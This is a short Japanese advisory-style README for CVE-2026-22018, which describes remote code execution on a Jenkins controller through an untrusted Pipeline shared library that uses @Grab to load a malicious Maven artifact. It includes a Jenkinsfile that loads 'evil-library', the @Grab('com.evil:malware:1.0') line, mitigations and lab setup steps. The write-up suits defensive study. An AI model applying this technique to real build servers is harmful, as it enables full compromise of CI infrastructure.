CVE-2026-22018 – @Grab による Jenkins Pipeline 共有ライブラリのコード実行

プログラムコード（Groovy パイプライン）

// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
    evilStep()
}

CVE-2026-22018 – Jenkins Pipeline 共有ライブラリのリモートコード実行

概要

Jenkins パイプラインは、完全には信頼されていないソースから共有ライブラリを読み込みます。このライブラリは @Grab アノテーションを使用して外部の Maven アーティファクトをダウンロードします。これらのアーティファクトには、Groovy コンパイル中に Jenkins コントローラ上でコードを実行する悪意のあるクラスが含まれる可能性があります。

脆弱性の詳細

• 種類： コードインジェクション / サプライチェーン
• 影響： Jenkins コントローラの完全な侵害。
• 根本原因： Groovy の @Grab アノテーションが実行時に任意の JAR を取得してロードします。共有ライブラリはサンドボックス化されていません。

エクスプロイトの実証

vars/evilStep.groovy に @Grab('com.evil:malware:1.0') を含む信頼できないライブラリを使用してパイプラインを構成します。パイプラインが実行されると、悪意のある JAR の静的初期化子が実行されます。

緩和策

• 信頼された署名付き SCM リポジトリからの共有ライブラリのみを使用してください。
• Groovy サンドボックスのセキュリティ設定で @Grab を無効にしてください。
• 「Load implicitly」パイプラインオプションは慎重に使用してください。

インストールと使用方法

git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.